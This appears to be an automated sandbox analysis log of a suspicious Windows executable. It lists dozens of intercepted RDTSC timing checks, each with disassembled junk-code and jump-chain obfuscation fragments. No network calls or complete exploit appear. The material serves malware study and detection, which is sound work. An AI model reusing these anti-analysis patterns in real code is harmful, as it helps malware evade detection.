Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35BC34 second address: 35BC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFC34B89E96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFC34B89E9Dh 0x00000012 jmp 00007EFC34B89E9Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35BC5A second address: 35BC69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C046 second address: 35C04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C04A second address: 35C04E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C04E second address: 35C054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32DDBD second address: 32DDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32DDC3 second address: 32DDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32DDCB second address: 32DDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32DDD1 second address: 32DDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32DDD5 second address: 32DDD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C214 second address: 35C21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C21A second address: 35C21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C820 second address: 35C84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007EFC34B89EA2h 0x0000000a jmp 00007EFC34B89EA6h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C84E second address: 35C853 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C9A8 second address: 35C9B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35C9B0 second address: 35C9B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35CB5E second address: 35CBAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Ch 0x00000007 jmp 00007EFC34B89EA0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007EFC34B89EA9h 0x00000014 ja 00007EFC34B89E96h 0x0000001a jmp 00007EFC34B89E9Ah 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 35D00C second address: 35D010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 363593 second address: 363599 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 367999 second address: 3679A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 367AF4 second address: 367B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFC34B89E96h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 jo 00007EFC34B89E96h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007EFC34B89E9Bh 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007EFC34B89E96h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 367B22 second address: 367B47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFC34FBCE02h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 367F5A second address: 367F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 367F60 second address: 367FA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007EFC34FBCDFAh 0x00000011 je 00007EFC34FBCDF6h 0x00000017 jmp 00007EFC34FBCDFFh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36812C second address: 368132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 369F03 second address: 369F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 369F07 second address: 369F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d xor dword ptr [esp], 51B929A9h 0x00000014 sub edi, dword ptr [ebp+122D350Ah] 0x0000001a call 00007EFC34B89E99h 0x0000001f jbe 00007EFC34B89E9Ch 0x00000025 push eax 0x00000026 jmp 00007EFC34B89EA4h 0x0000002b mov eax, dword ptr [esp+04h] 0x0000002f push edi 0x00000030 pushad 0x00000031 jmp 00007EFC34B89E9Ah 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 pop edi 0x0000003a mov eax, dword ptr [eax] 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 pop eax 0x00000041 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36A64D second address: 36A653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36AAD6 second address: 36AAF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36AAF0 second address: 36AAF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36B08A second address: 36B08E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36B64C second address: 36B652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36B652 second address: 36B657 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36CFA4 second address: 36CFBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007EFC34FBCDFEh 0x00000008 pop eax 0x00000009 jng 00007EFC34FBCDFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36E5BE second address: 36E66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c jnc 00007EFC34B89EA7h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007EFC34B89E98h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e jmp 00007EFC34B89EA9h 0x00000033 push 00000000h 0x00000035 stc 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007EFC34B89E98h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov si, 8328h 0x00000056 movzx edi, bx 0x00000059 xchg eax, ebx 0x0000005a jmp 00007EFC34B89EA9h 0x0000005f push eax 0x00000060 push edx 0x00000061 jc 00007EFC34B89E9Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36F0AA second address: 36F0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36F0AE second address: 36F0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFC34B89EA8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36FB99 second address: 36FB9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36FB9F second address: 36FBA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 36FBA5 second address: 36FBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 371BCD second address: 371BD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 371BD3 second address: 371BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC34FBCDFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3723AA second address: 3723C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC34B89E9Ch 0x00000008 jo 00007EFC34B89E96h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 375C25 second address: 375C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+124706BCh], edi 0x0000000f jc 00007EFC34FBCDFCh 0x00000015 mov dword ptr [ebp+12488335h], ecx 0x0000001b push 00000000h 0x0000001d jmp 00007EFC34FBCE03h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007EFC34FBCDF8h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov edi, ecx 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 375C7D second address: 375C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 375C81 second address: 375C93 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC34FBCDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007EFC34FBCDF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 376E4E second address: 376E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 375EA5 second address: 375EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC34FBCDFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 376E52 second address: 376E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 377E25 second address: 377E2F instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFC34FBCDFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 378D99 second address: 378D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 378D9F second address: 378DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ebx, dword ptr [ebp+122D3A5Ah] 0x0000000e push 00000000h 0x00000010 mov edi, esi 0x00000012 push 00000000h 0x00000014 mov di, cx 0x00000017 mov ebx, dword ptr [ebp+122D38A1h] 0x0000001d push eax 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B123 second address: 37B156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007EFC34B89E9Eh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007EFC34B89EA7h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B156 second address: 37B19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCE03h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007EFC34FBCDFFh 0x00000010 jmp 00007EFC34FBCDFDh 0x00000015 jnp 00007EFC34FBCDF6h 0x0000001b jne 00007EFC34FBCDF6h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 378FF0 second address: 378FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B19C second address: 37B1A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007EFC34FBCDF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 378FF6 second address: 378FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B1A6 second address: 37B1AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32741C second address: 327423 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B6EE second address: 37B71B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+122D2AB6h] 0x0000000f push 00000000h 0x00000011 mov edi, 2C9C9BD4h 0x00000016 push 00000000h 0x00000018 jnp 00007EFC34FBCDF8h 0x0000001e mov dword ptr [ebp+122D2170h], edi 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B71B second address: 37B71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B71F second address: 37B725 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37B725 second address: 37B72A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C66C second address: 37C671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C671 second address: 37C677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C677 second address: 37C689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007EFC34FBCDF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C689 second address: 37C68F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C68F second address: 37C717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC34FBCE07h 0x00000008 jne 00007EFC34FBCDF6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007EFC34FBCDF8h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007EFC34FBCDF8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov ebx, dword ptr [ebp+122D2195h] 0x0000004e mov ebx, dword ptr [ebp+122D3A3Ah] 0x00000054 push 00000000h 0x00000056 jbe 00007EFC34FBCDFCh 0x0000005c mov dword ptr [ebp+122D3094h], eax 0x00000062 push eax 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push esi 0x00000067 pop esi 0x00000068 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C717 second address: 37C71B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C71B second address: 37C730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFC34FBCDFDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37D6C4 second address: 37D6CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37D6CA second address: 37D6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C899 second address: 37C89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C89E second address: 37C8A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C8A4 second address: 37C8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C8A8 second address: 37C93A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007EFC34FBCDF8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D2CE3h] 0x00000029 push dword ptr fs:[00000000h] 0x00000030 add dword ptr [ebp+122D2DE1h], eax 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007EFC34FBCDF8h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 push edx 0x00000058 mov dword ptr [ebp+122D2BCEh], edx 0x0000005e pop edi 0x0000005f sbb di, B362h 0x00000064 mov eax, dword ptr [ebp+122D0E71h] 0x0000006a push FFFFFFFFh 0x0000006c mov bx, 559Eh 0x00000070 nop 0x00000071 jmp 00007EFC34FBCDFFh 0x00000076 push eax 0x00000077 ja 00007EFC34FBCE08h 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C93A second address: 37C93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37C93E second address: 37C942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 37E570 second address: 37E5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007EFC34B89E9Ch 0x0000000b jno 00007EFC34B89E96h 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007EFC34B89E9Bh 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007EFC34B89E98h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 push 00000000h 0x00000035 mov edi, 4A983B1Eh 0x0000003a push 00000000h 0x0000003c add ebx, 303BB094h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push edx 0x00000046 jg 00007EFC34B89E96h 0x0000004c pop edx 0x0000004d rdtsc
